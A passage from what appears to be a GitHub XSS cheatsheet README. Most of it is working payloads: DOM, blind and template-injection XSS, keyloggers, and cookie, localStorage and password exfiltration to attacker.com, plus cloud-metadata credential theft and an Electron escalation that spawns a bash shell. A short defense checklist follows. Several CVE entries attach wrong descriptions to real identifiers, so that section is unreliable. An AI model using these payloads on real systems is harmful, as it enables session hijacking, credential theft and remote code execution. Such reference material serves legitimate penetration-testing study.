<!-- Clobber it: <meta name=csp-nonce content="your-nonce"> ... if nonce is reused -->

<!-- 'strict-dynamic' + nonce: if you can inject into a script that has a nonce -->
<!-- That script can create new script elements — they inherit trust -->
document.createElement('script') + s.src = 'attacker.com'
<!-- But only works FROM within a nonced script -->

<!-- If the nonce is reflected in the HTML you control (unusual, but happens) -->
<!-- E.g., error page reflects the nonce from the previous request's CSP header -->
<script nonce="EXTRACTED_NONCE">alert(1)</script>

🕵️ DOM-Based XSS

DOM XSS occurs entirely client-side. The server never sees the payload. This makes it invisible to server-side WAFs, logs, and IDS unless they inspect JavaScript execution.

Common Sources

Sources are places where attacker-controlled data enters the JavaScript execution environment:

Source Description Example
location.href Full URL including hash window.location.href
location.search Query string (?key=value) location.search.split('=')[1]
location.hash Fragment (#value) location.hash.slice(1)
location.pathname URL path /page/INJECT/more
document.referrer HTTP Referer header document.referrer
document.cookie Cookie values Cookie manipulation
window.name Cross-origin persistent Set in attacker page, read in target
postMessage Cross-window messaging Missing origin check
localStorage Browser storage Stored value later used in DOM
sessionStorage Session storage Same as localStorage
XMLHttpRequest.responseText AJAX response If response contains user data
fetch().then(r=>r.text()) Fetch response Same
WebSocket data WS message Unsanitized WebSocket message

Common Sinks

Sinks are dangerous functions/properties that interpret data as code or HTML:

Sink Type Danger
innerHTML HTML Parses and renders HTML, executes event handlers
outerHTML HTML Same as innerHTML
insertAdjacentHTML HTML Inserts raw HTML
document.write() HTML Writes raw HTML to document
document.writeln() HTML Same + newline
eval() JS Evaluates string as JavaScript
Function() JS Creates and executes function from string
setTimeout(string) JS Evaluates string after delay
setInterval(string) JS Evaluates string repeatedly
setImmediate(string) JS IE-specific eval
execScript() JS IE-specific eval
location.href = ... URL Sets location — javascript: danger
location.assign() URL Navigation — javascript: danger
location.replace() URL Navigation — javascript: danger
element.src URL Script/iframe src
jQuery.html() HTML jQuery innerHTML wrapper
jQuery.append() HTML Appends HTML string
jQuery.prepend() HTML Prepends HTML string
jQuery.after() HTML Inserts HTML after element
jQuery.before() HTML Inserts HTML before element
jQuery.$() HTML $(htmlString) creates elements
element.outerHTML HTML Replaces element with HTML
Range.createContextualFragment() HTML Creates DOM fragment from HTML

DOM XSS Payloads

// For innerHTML / outerHTML sinks:
// Payload goes into hash: https://victim.com/page#PAYLOAD

// If: document.getElementById('x').innerHTML = location.hash.slice(1)
#<img src=x onerror=alert(1)>
#<svg onload=alert(1)>
// Note: <script> via innerHTML does NOT execute — use event handlers instead

// For document.write() sinks:
// document.write(location.search) or document.write(location.hash)
#<script>alert(1)</script>
// document.write DOES execute scripts

// For eval() / setTimeout(string) sinks:
// eval(location.hash.slice(1))
#alert(1)
#};alert(1);//
#'+alert(1)+'

// For location.href sinks:
// location.href = 'https://victim.com/' + location.hash.slice(1)
// ↑ Usually safe (sets URL). But if it's used differently:
// location = location.hash.slice(1)
#javascript:alert(1)

// For jQuery $() sink:
// $(location.hash)
#<img src=x onerror=alert(1)>

// postMessage DOM XSS (missing origin check):
// window.addEventListener('message', function(e) {
//   document.getElementById('out').innerHTML = e.data;
// });
// Attacker page:
// <iframe src="https://victim.com/page" id="f"></iframe>
// document.getElementById('f').contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')

// window.name DOM XSS:
// target page: document.write(window.name)
// Attacker page sets name before navigating:
// <script>window.name='<script>alert(1)<\/script>';location='https://victim.com/page'</script>

// document.referrer source:
// Attacker page links to victim with referrer containing payload
// Victim page: document.write(document.referrer)

AngularJS Template Injection

AngularJS sandboxing was defeated across multiple versions. If the app uses AngularJS and has ng-app:

// Basic (all versions up to 1.5.x before sandbox hardening)
{{constructor.constructor('alert(1)')()}}

// AngularJS < 1.6 (before sandbox removed)
{{$on.constructor('alert(1)')()}}

// Via filter
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}

// AngularJS 1.6+ (sandbox removed, but CSP bypass via template)
{{[].pop.constructor('alert(1)')()}}

// ng-include for SSRF/file read
<div ng-include="'https://attacker.com/evil.js'"></div>

// ng-src / ng-href
<div ng-app><a ng-href="javascript:alert(1)">click</a></div>

// Filter injection
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

// Version detection:
// <script src="/angular.min.js"></script> — check version in file
// angular.version.full

👁️ Blind XSS

Blind XSS fires in a different context than where the payload is injected — typically admin panels, internal dashboards, log viewers, CRM systems, or support ticket systems.

What is Blind XSS

Unlike reflected or stored XSS where you see the execution immediately, blind XSS payloads:

  • Are stored and may execute hours or days later
  • Execute in a browser/context you cannot directly observe
  • Require a callback mechanism to confirm execution
  • Provide information about the admin environment (cookies, screenshot, keystrokes)

Common injection points:

  • Contact forms / support ticket submission
  • User registration fields (first name, last name, username)
  • Profile bios, descriptions, "about me" fields
  • Feedback / bug report forms
  • Order notes / shipping instructions
  • Chat messages in customer support widgets
  • HTTP headers (User-Agent, Referer, X-Forwarded-For) logged by admin tools
  • File names on upload
  • Log files viewed in a web interface
  • Error messages that appear in admin error dashboards

Blind XSS Payloads

<!-- Load external script — most reliable -->
<script src="https://YOUR_XSSHUNTER_SERVER.xss.ht"></script>
<script src="//YOUR_SERVER/x.js?p=blind"></script>

<!-- Various tag-based loaders in case script is filtered -->
<img src=x onerror="var s=document.createElement('script');s.src='//YOUR_SERVER/x.js';document.head.appendChild(s)">

<svg onload="fetch('//YOUR_SERVER/?c='+btoa(document.cookie))">

<!-- Self-contained payload that sends cookies immediately -->
<script>fetch('https://YOUR_SERVER/collect?c='+encodeURIComponent(document.cookie)+'&u='+encodeURIComponent(location.href))</script>

<!-- With screenshot using html2canvas -->
<script>
var s=document.createElement('script');
s.src='https://html2canvas.hertzen.com/dist/html2canvas.min.js';
s.onload=function(){
  html2canvas(document.body).then(function(canvas){
    fetch('https://YOUR_SERVER/screenshot',{
      method:'POST',
      body:canvas.toDataURL()
    });
  });
};
document.head.appendChild(s);
</script>

<!-- KeyLogger payload -->
<script>
var keys='';
document.addEventListener('keypress',function(e){
  keys+=e.key;
  if(keys.length>20){
    fetch('https://YOUR_SERVER/keys?k='+btoa(keys));
    keys='';
  }
});
</script>

<!-- Complete blind XSS info gathering script -->
<script>
(function(){
  var data = {
    cookies: document.cookie,
    url: location.href,
    title: document.title,
    referrer: document.referrer,
    userAgent: navigator.userAgent,
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage)
  };
  fetch('https://YOUR_SERVER/blind', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(data)
  });
})();
</script>

<!-- Payload in User-Agent header (for logging systems) -->
<!-- Send request with: -->
User-Agent: <script src=//YOUR_SERVER/x.js></script>

<!-- Payload in Referer header -->
Referer: https://attacker.com/"><script src=//YOUR_SERVER/x.js></script>

<!-- Payload in X-Forwarded-For (admin may see real IP in log viewer) -->
X-Forwarded-For: 1.1.1.1"><script src=//YOUR_SERVER/x.js></script>

Platforms for Blind XSS

Platform Description URL
XSS Hunter The gold standard for blind XSS. Captures cookies, DOM, screenshot, HTTP headers https://xsshunter.trufflesecurity.com
CanaryTokens Alerting when your token is hit https://canarytokens.org
Interactsh Open-source OOB interaction server https://github.com/projectdiscovery/interactsh
Burp Collaborator Enterprise blind XSS + SSRF detection Burp Suite Pro
ezXSS Self-hosted blind XSS platform https://github.com/ssl/ezXSS

Exfiltration Payloads

// Cookie theft
fetch('https://attacker.com/?c='+document.cookie)

// Cookie + URL context
fetch('https://attacker.com/x?c='+btoa(document.cookie)+'&u='+btoa(location.href))

// Full page source exfiltration
fetch('https://attacker.com/src', {method:'POST', body:document.documentElement.outerHTML})

// LocalStorage dump
var ls={};for(var i=0;i<localStorage.length;i++){var k=localStorage.key(i);ls[k]=localStorage.getItem(k);}
fetch('https://attacker.com/ls',{method:'POST',body:JSON.stringify(ls)})

// Form credential harvesting
document.querySelectorAll('input[type=password]').forEach(function(el){
  el.addEventListener('change',function(){
    fetch('https://attacker.com/?p='+btoa(el.value));
  });
});

// BeaconAPI (persists even on page unload)
navigator.sendBeacon('https://attacker.com/', new Blob([document.cookie],{type:'text/plain'}))

// iframe the admin panel and exfiltrate its content
var f = document.createElement('iframe');
f.src = '/admin/users';
f.onload = function() {
  fetch('https://attacker.com/admin', {method:'POST', body: f.contentDocument.body.innerHTML});
};
document.body.appendChild(f);

🧬 XSS Polyglots

Polyglots are XSS payloads designed to work across multiple injection contexts simultaneously. See the full collection at payloads/polyglots.md.

Top Polyglots

// 1. The "Jackmasa" Polyglot — works in HTML, attribute, JS string, and URL contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

// 2. The Classic Multicontext Polyglot
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><Script>prompt(1)</Script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><svg><script>alert(1)</script></svg><!--

// 3. Short Polyglot — attribute, HTML, and JS string
"><script>alert(1)</script><"

// 4. HTML/Attribute/JS string triple-context
";alert(1)//";--></Script><ScRiPt>alert(1);</ScRiPt><Img Src=X OnErRoR=alert(1)><Base Href=//x55.is/

// 5. The WAF-aware Polyglot
<svg/onload=location=`javas`+`cript:ale`+`rt\`1\``>

// 6. Self-contained polyglot with encoding layers
%22%3E%3Csvg/onload=alert(1)%3E%22

// 7. Polyglot targeting template + HTML + JS contexts
{{1+1}}<script>alert(1)</script>{{constructor.constructor('alert(1)')()}}

// 8. Polyglot for textarea/title/style context breaks
</textarea></title></style><script>alert(1)</script>

// 9. Polyglot that works in JSON, HTML attribute, and JS
\u003cscript\u003ealert(1)\u003c/script\u003e

📦 XSS via File Upload

File upload functionality is a rich attack surface for stored XSS, especially when uploaded files are served from the same origin.

SVG File Upload

SVG files are XML that supports embedded JavaScript and is rendered as HTML in browsers:

<!-- Save as evil.svg and upload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <circle cx="50" cy="50" r="40" fill="red"/>
  <text x="10" y="60">Malicious SVG</text>
</svg>

<!-- SVG with embedded script -->
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert(document.cookie);
  </script>
</svg>

<!-- SVG using CDATA to embed JS -->
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script><![CDATA[
    fetch('https://attacker.com/?c=' + document.cookie)
  ]]></script>
</svg>

<!-- Attack conditions: -->
<!-- 1. Server accepts SVG upload (check MIME type validation) -->
<!-- 2. SVG is served from same origin (not a CDN with different origin) -->
<!-- 3. File is served with Content-Type: image/svg+xml (not text/plain) -->
<!-- 4. No Content-Disposition: attachment header -->

HTML File Upload

If the application allows .html or .htm file uploads:

<!-- evil.html -->
<!DOCTYPE html>
<html>
<body onload="
  fetch('https://attacker.com/cookie?c='+document.cookie);
">
  <h1>Legitimate looking content</h1>
  <script>
    // Full origin access since this is served from victim domain
    document.cookie; // readable
    localStorage; // readable
    // Can make same-origin requests
    fetch('/api/admin/users').then(r=>r.json()).then(d=>
      fetch('https://attacker.com/exfil',{method:'POST',body:JSON.stringify(d)})
    );
  </script>
</body>
</html>

XML File Upload

DOCX, XLSX, ODT — these are ZIP files containing XML:

<!-- Insert XSS payload in XML content that gets rendered -->
<!-- In a DOCX word/document.xml: -->
<w:t><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script></w:t>

<!-- If the application renders the document content as HTML -->
<!-- (e.g., a document preview feature), the script executes -->

<!-- XXE can be chained with XSS: -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- If the XXE output is reflected in an HTML page without encoding -->

Other File Types

<!-- Content-Type confusion — upload "image.jpg" with HTML content -->
<!-- Some servers serve Content-Type based on file content (magic bytes), -->
<!-- others based on extension. If extension-based + same-origin: -->

File: avatar.jpg
Content: <script>alert(1)</script>
<!-- If served as text/html despite .jpg extension → XSS -->

<!-- PDF XSS (rendered in browser PDF viewer) -->
<!-- Adobe Reader had many JS execution bugs via PDF -->
<!-- Modern Chrome PDF viewer is sandboxed but other viewers may not be -->

<!-- .xhtml file -->
<!-- XHTML is parsed as XML and inline scripts execute -->
<!-- Upload evil.xhtml with <script> tags -->

🔗 XSS in HTTP Headers

HTTP headers that are logged and displayed in admin panels, or reflected in responses, can carry XSS payloads:

User-Agent

User-Agent: <script>alert(1)</script>
User-Agent: <img src=x onerror=alert(1)>
User-Agent: "><script>alert(1)</script>
User-Agent: Mozilla/5.0 <script src=//attacker.com/x.js></script>

Where it fires: Analytics dashboards, server logs viewed in web UI, CRM systems, error tracking platforms (Sentry, Bugsnag if they don't sanitize), support ticket systems.

Referer Header

Referer: https://attacker.com/"><img src=x onerror=alert(1)>
Referer: https://attacker.com/<script>alert(1)</script>
Referer: "><script>alert(1)</script>

X-Forwarded-For

X-Forwarded-For: <script>alert(1)</script>
X-Forwarded-For: 1.1.1.1, <script>alert(1)</script>
X-Forwarded-For: "><img src=x onerror=alert(1)>

Where it fires: Admin panels showing user IPs, Nginx/Apache log viewers, fraud detection dashboards, geographic analytics.

Cookie Header

Cookie: session=abc; trackingId=<script>alert(1)</script>
Cookie: name="><script>alert(1)</script>; other=value

Accept-Language / Accept-Encoding

Accept-Language: <script>alert(1)</script>
Accept: text/html,<script>alert(1)</script>

Custom Headers

X-Custom-Header: <img src=x onerror=alert(1)>
X-Original-URL: "><script>alert(1)</script>
X-Rewrite-URL: <script>alert(1)</script>

🔄 XSS to RCE

In specific environments, XSS can escalate to Remote Code Execution:

Electron Applications

Electron apps run a Chromium browser with Node.js integration. XSS in an Electron app can access the Node.js require() function:

// If nodeIntegration is enabled (Electron < 5 default, or misconfigured newer apps):

// Execute OS commands
require('child_process').exec('calc.exe')  // Windows
require('child_process').exec('open /Applications/Calculator.app')  // macOS

// Read files
require('fs').readFileSync('/etc/passwd', 'utf8')

// Write files
require('fs').writeFileSync('/tmp/pwned', 'hacked')

// Spawn shell
var shell = require('child_process').spawn('/bin/bash', ['-i']);

// Common Electron XSS targets:
// - Desktop chat apps (WhatsApp Desktop had CVE-2019-18426)
// - Email clients (Mailspring, Thunderbird with HTML rendering)
// - Note-taking apps (Notable, Simplenote)
// - IDE plugins that render HTML
// - Internal company apps built on Electron

// Check if nodeIntegration is on:
typeof require !== 'undefined' && typeof require('fs') !== 'undefined'

XSS to SSRF

// Use XSS to make the victim's browser perform SSRF to internal services
// The browser is inside the internal network — it can reach 10.x.x.x, 192.168.x.x

// Internal service discovery
fetch('http://169.254.169.254/latest/meta-data/')  // AWS metadata
  .then(r=>r.text()).then(d=>fetch('https://attacker.com/?d='+btoa(d)))

// Internal port scan
for(var port=80; port<=9000; port++) {
  (function(p){
    var img = new Image();
    img.onload = function(){ fetch('https://attacker.com/?open='+p); };
    img.onerror = function(){ /* closed */ };
    img.src = 'http://192.168.1.1:'+p+'/';
  })(port);
}

// Read cloud metadata
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
  .then(r=>r.text())
  .then(role => fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role))
  .then(r=>r.json())
  .then(creds => fetch('https://attacker.com/',{method:'POST',body:JSON.stringify(creds)}))

nw.js (Node-WebKit)

// Similar to Electron, nw.js apps have Node.js integration
// Check: typeof nw !== 'undefined'
nw.Shell.openExternal('calc.exe')
require('child_process').exec('id', function(e,o){alert(o)})

⚡ Advanced Techniques

mXSS (Mutation XSS)

Mutation XSS exploits differences between the HTML serializer and the HTML parser. A string that looks safe after sanitization becomes dangerous after the browser re-parses it.

<!-- Classic mXSS: innerHTML round-trip mutation -->
<!-- Sanitizer sees: <listing><img title="</listing><img src=x onerror=alert(1)>"> -->
<!-- Sanitizer thinks the </listing> is inside a title attribute — safe -->
<!-- But browser parser re-interprets it and the onerror fires -->

<!-- The DOMPurify bypass (CVE-2020-26870 style — fixed, educational): -->
<!-- Some versions of DOMPurify were bypassed via mXSS -->
<!-- Payload that serialized to unsafe HTML after sanitization: -->
<svg><p><style><g title="</style><img src=x onerror=alert(1)>">

<!-- namespace confusion mXSS -->
<math><mi//xlink:href="data:x,<script>alert(1)</script>">

<!-- template/noscript context: -->
<!-- Sanitizer processes in "non-scripting" mode (noscript is ignored) -->
<!-- Browser processes in "scripting" mode (noscript children render) -->
<noscript><p title="</noscript><img src=x onerror=alert(1)">

<!-- How to test for mXSS: -->
<!-- 1. Sanitize with DOMPurify.sanitize(payload) -->
<!-- 2. Set innerHTML to the sanitized output -->
<!-- 3. Serialize: element.innerHTML -->
<!-- 4. If serialized output differs from sanitized input — mXSS potential -->

DOM Clobbering

DOM Clobbering uses HTML elements with specific id or name attributes to overwrite JavaScript globals:

<!-- The Problem: JavaScript reads window.x or document.x -->
<!-- DOM elements with id= are accessible via window.elementId -->

<!-- Clobber window.x with an anchor element -->
<a id="x" href="javascript:alert(1)">

<!-- Now in JS: window.x.toString() might return "javascript:alert(1)" -->
<!-- If code does: location = window.x; — XSS! -->

<!-- Clobber document.getElementById() behavior -->
<img id="getElementById" src=1>
<!-- Now document.getElementById is the img element, not the function -->

<!-- Clobber form elements -->
<form id="config">
  <input name="debug" value="true">
  <input name="apiEndpoint" value="//attacker.com">
</form>
<!-- If code reads: document.config.apiEndpoint.value — attacker controlled -->

<!-- HTMLCollection access: multiple elements with same name -->
<img name="x"><img name="x">
<!-- document.getElementsByName('x') works as expected, BUT: -->
<!-- window.x returns the HTMLCollection if two elements have same id/name -->

<!-- Clobber global variables using <object> -->
<object id="x" data="javascript:alert(1)">
<!-- If code does: (new Function(x))() — RCE equivalent -->

<!-- Practical DOM Clobbering chain: -->
<!-- Application code: -->
<!-- if (!window.isLoggedIn) { window.isLoggedIn = false; } -->
<!-- if (window.isLoggedIn) { loadAdminPanel(); } -->
<!-- Inject: <img id="isLoggedIn"> -->
<!-- window.isLoggedIn is now an HTMLImageElement (truthy!) → loadAdminPanel() called -->

Prototype Pollution to XSS

Prototype pollution sets properties on Object.prototype, affecting all objects. When combined with a gadget that reads from prototype chain into a sink:

// Prototype pollution vulnerability:
// (Somewhere in the app, user-controlled keys are set on objects)
// e.g., merge(obj, userInput) where userInput = {"__proto__":{"polluted":"payload"}}

// After pollution: ({}).polluted === "payload"

// Gadget chains that lead to XSS:

// Gadget 1: innerHTML assignment
// Code: element.innerHTML = options.template || defaultTemplate;
// Pollute: __proto__.template = "<img src=x onerror=alert(1)>"
// Now: ({}).template === "<img src=x onerror=alert(1)>"

// Gadget 2: jQuery.parseHTML
// jQuery internals read from prototype for some operations
// $.parseHTML('<img>', {context: polluted_context})

// Gadget 3: Angular template
// AngularJS reads from prototype for scope variables

// Gadget 4: Lodash / deepmerge vulnerabilities
// Input:  {"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
// If this sets document.__proto__.innerHTML → all elements affected

// Finding gadgets: look for:
// - sink(obj[key]) where obj might have polluted properties
// - typeof checks that don't exist before reading from inherited

// Testing for prototype pollution:
// Open browser console, try:
Object.prototype.foo = 'polluted';
// Then check if ({}).foo === 'polluted'
// If yes, look for gadgets in loaded libraries

// Tools: ppfuzz, server-side prototype pollution scanner

CSTI (Client-Side Template Injection)

Client-Side Template Injection exploits JavaScript template engines:

// AngularJS — see DOM XSS section above

// Vue.js 2.x
// If user input is interpolated in template:
// <div>{{ userInput }}</div>
// Payload: {{constructor.constructor('alert(1)')()}}
// Works in v-bind and {{ }} template expressions

// Vue.js 3.x (more restricted, but still possible):
// Via custom directives with user-controlled binding expressions

// React — React's JSX is compiled and generally safe
// But dangerous patterns:
// dangerouslySetInnerHTML={{ __html: userInput }} → XSS
// <div ref={(el) => el.innerHTML = userInput} /> → XSS
// eval(userInput) in components
// Passing URL props without validation: <a href={userInput}> → javascript: XSS

// Handlebars
// Triple braces bypass HTML encoding: {{{userInput}}}
// Payload: <script>alert(1)</script>

// Mustache
// Same: {{{userInput}}} bypasses encoding

// Pug/Jade (Node.js SSR but rendered client-side in some configs)
// != operator skips escaping: p!= userInput
// Payload: <script>alert(1)</script>

// Testing CSTI:
// Payload: {{7*7}} → check if 49 appears in output
// If yes, template injection confirmed — then escalate to JS execution

🛡️ Defense

Developer Checklist

Output Encoding (Most Important):

  • Use textContent instead of innerHTML when inserting user data into the DOM
  • Use framework-provided safe methods (React's JSX auto-encodes, Angular's {{ }} auto-encodes)
  • On server side, HTML-encode all user input before inserting into HTML: &amp;, &lt;, &gt;, &quot;, &#x27;
  • URL-encode user input placed in href, src, or action attributes
  • JavaScript-encode user input placed inside <script> blocks

Content Security Policy:

Content-Security-Policy: default-src 'self'; 
  script-src 'self' 'nonce-{RANDOM}'; 
  style-src 'self' 'nonce-{RANDOM}'; 
  object-src 'none'; 
  base-uri 'self'; 
  frame-ancestors 'self';

Cookie Protection:

Set-Cookie: session=TOKEN; HttpOnly; Secure; SameSite=Strict
  • HttpOnly — prevents JavaScript from reading the cookie
  • Secure — only sent over HTTPS
  • SameSite=Strict — prevents CSRF and reduces cookie theft utility

Trusted Types (Modern Browsers):

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
// Force all DOM sinks to use Trusted Types — compile-time XSS prevention
const policy = trustedTypes.createPolicy('default', {
  createHTML: (str) => DOMPurify.sanitize(str),
  createScriptURL: (str) => { /* validate URL */ return str; }
});
element.innerHTML = policy.createHTML(userInput); // Safe

Sanitization Libraries:

  • DOMPurify — the gold standard client-side HTML sanitizer
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

Security Headers:

X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin

Additional Mitigations:

  • Validate content type of uploaded files on server-side (magic bytes, not just extension)
  • Serve user-uploaded files from a separate origin (files.example.com)
  • Use sandbox attribute on iframes: <iframe sandbox="allow-scripts">
  • Implement WAF as defense-in-depth (not as primary control)
  • Regular security testing: SAST, DAST, and manual pentesting
  • Subresource Integrity (SRI) for external scripts:
<script src="https://cdn.example.com/lib.js" 
        integrity="sha384-..." 
        crossorigin="anonymous"></script>

🔍 Real-World CVEs

CVE-2021-22911 — Rocket.Chat Stored XSS (Critical)

Affected: Rocket.Chat < 3.13.2
Type: Stored XSS via SVG file upload in messages
CVSS: 9.8 (Critical)
Payload:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="
  fetch('/api/v1/users.list',{headers:{'X-Auth-Token':localStorage['Meteor.loginToken'],'X-User-Id':localStorage['Meteor.userId']}})
  .then(r=>r.json())
  .then(d=>fetch('https://attacker.com/users',{method:'POST',body:JSON.stringify(d)}))
">XSS</svg>

Impact: Admin account takeover by sending the SVG in a chat message to an admin.
Reference: https://hackerone.com/reports/1057429


CVE-2022-24734 — MyBB Stored XSS (High)

Affected: MyBB < 1.8.30
Type: Stored XSS in post formatting via [color] BBCode tag
CVSS: 8.0 (High)
Payload:

[color="]onmouseover=alert(document.cookie) a[/color]

Impact: Any forum member could post a thread that steals cookies from all viewers, including admins.
Reference: MyBB Security Advisory 2022-02


CVE-2023-25194 — Apache Kafka UI Stored XSS (High)

Affected: kafka-ui < 0.5.0
Type: Stored XSS via Kafka topic/consumer group names
CVSS: 8.8 (High)
Payload: Create a Kafka topic named:

"><img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>

Impact: Anyone creating a Kafka topic with a malicious name could steal cookies from every admin who views the topics list.


CVE-2023-3422 — Google Chrome Type Confusion (Critical)

Affected: Chrome < 114.0.5735.133
Type: Type confusion in V8 JavaScript engine leading to full RCE
CVSS: 8.8 (High)
Context: Exploitation required visiting a malicious webpage. XSS in a web app combined with Chrome sandbox escape led to full OS code execution.
Impact: Full system compromise via browser exploitation.


CVE-2024-21887 — Ivanti Connect Secure XSS + RCE Chain

Affected: Ivanti Connect Secure, Policy Secure
Type: Command injection chained with authenticated XSS
CVSS: 9.1 (Critical)
Context: The XSS was used as an entry point for CSRF attacks to trigger the command injection endpoint. Combination led to pre-auth RCE via injection chain.
Impact: Nation-state threat actors (UNC5221) exploited this in the wild to deploy ZIPLINE and THINSPOOL malware.


CVE-2024-4367 — PDF.js Arbitrary JavaScript Execution

Affected: PDF.js < 4.2.67 (used by Firefox and many web apps)
Type: XSS via malicious PDF rendering
CVSS: 7.1 (High)
Payload: Crafted PDF with a malicious font definition that triggered JS execution during rendering.
Impact: Any website embedding PDF.js for document preview was vulnerable. Visiting a malicious PDF triggered script execution in the embedding page's origin.
Reference: https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js


🛠️ Tools

Tool Purpose Platform Link
Burp Suite Industry standard web proxy, passive/active XSS scanner, Intruder for payload fuzzing All https://portswigger.net/burp
XSStrike Intelligent XSS scanner with WAF bypass, DOM analysis, and crawling Python https://github.com/s0md3v/XSStrike
dalfox Fast XSS scanner with parameter analysis, pipe support, blind XSS Go https://github.com/hahwul/dalfox
KNOXSS API-based XSS scanner, finds XSS that other scanners miss SaaS https://knoxss.me
XSS Hunter Blind XSS platform — captures cookies, DOM, screenshots SaaS https://xsshunter.trufflesecurity.com
Nuclei Template-based scanner with XSS templates Go https://github.com/projectdiscovery/nuclei
DalFox Parameter analysis + WAF bypass + pipe mode Go https://github.com/hahwul/dalfox
kxss Find unfiltered XSS reflection points fast Go https://github.com/Emoe/kxss
Gxss Check for reflected params in URLs Go https://github.com/KathanP19/Gxss
freq Find interesting parameters in scope for XSS testing Go https://github.com/takshal/freq
CSP Evaluator Analyze CSP headers for weaknesses Web https://csp-evaluator.withgoogle.com
DOMPurify Gold standard HTML sanitizer (defense) JavaScript https://github.com/cure53/DOMPurify
ezXSS Self-hosted blind XSS platform PHP https://github.com/ssl/ezXSS
Interactsh OOB interaction server for blind XSS Go https://github.com/projectdiscovery/interactsh

Recon Workflow for XSS

# Step 1: Find all parameters (using wayback + gau + paramspider)
gau https://target.com | grep "=" | sort -u > params.txt
paramspider -d target.com -o spider.txt

# Step 2: Find reflected parameters quickly
cat params.txt | kxss
cat params.txt | Gxss -c 100 -p Xss

# Step 3: Deep scan with dalfox
cat params.txt | dalfox pipe --silence

# Step 4: Manual testing with Burp Suite
# - Proxy all traffic
# - Use Intruder with XSS payload list
# - Check DOM Invader extension for DOM XSS

# Step 5: Blind XSS payloads in all text fields
# - Contact forms, profile fields, feedback
# - With XSS Hunter payload

# Step 6: Test file uploads for SVG/HTML XSS
# Upload evil.svg, check if served from same origin

📚 References

Resource Description URL
PortSwigger Web Academy Free, hands-on XSS labs covering all types https://portswigger.net/web-security/cross-site-scripting
OWASP XSS Prevention Cheat Sheet Defense-focused guide https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
OWASP Testing Guide — XSS Testing methodology https://owasp.org/www-project-web-security-testing-guide/
PayloadsAllTheThings Broad payload collection https://github.com/swisskyrepo/PayloadsAllTheThings
HackTricks XSS Comprehensive XSS tricks https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
XSS Cheat Sheet (PortSwigger) Context-aware payload reference https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
HTML5 Security Cheatsheet XSS vectors by HTML5 element https://html5sec.org
The Tangled Web Deep dive into browser security models (book) https://nostarch.com/tangledweb
The Web Application Hacker's Handbook Classic pentest textbook ISBN: 978-1118026472
Cure53 DOMPurify Bypasses Historical bypass research https://github.com/cure53/DOMPurify/tree/main/demos
XS-Leaks Wiki Advanced cross-site attacks https://xsleaks.dev
Google's XSS Game Practice XSS in a safe environment https://xss-game.appspot.com
PentesterLab XSS Structured XSS learning with certificates https://pentesterlab.com

Papers & Research

  • Klein, A. (2005) — "DOM Based Cross Site Scripting or XSS of the Third Kind" — the original DOM XSS paper
  • Heiderich et al. (2012) — "mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations" — mXSS original research
  • Lekies et al. (2013) — "25 Million Flows Later: Large-scale Detection of DOM-based XSS" — large scale DOM XSS study
  • Steffens et al. (2019) — "Don't Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild"

Contributing

Contributions are welcome and appreciated! Please read CONTRIBUTING.md before submitting.

Quick guide:

  • All payloads must be real, tested, and educational
  • Include context: what filter it bypasses, what browser it works in
  • Format: follow existing markdown style
  • No duplicate payloads (check existing content first)
  • Security research only — no targeted attack assistance

If this helped you, please ⭐ star the repo — it helps others find it!

Made with ❤️ for the security community · MIT License · © 2026 Arda Kocadoru

Keywords: xss cheatsheet cross-site scripting xss payloads filter bypass waf bypass csp bypass dom xss blind xss xss 2026 web security penetration testing

About

The most comprehensive XSS cheatsheet on GitHub — payloads, filter bypass, WAF evasion, CSP bypass, DOM XSS, blind XSS, and real CVEs.

Topics

Resources

Contributing

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors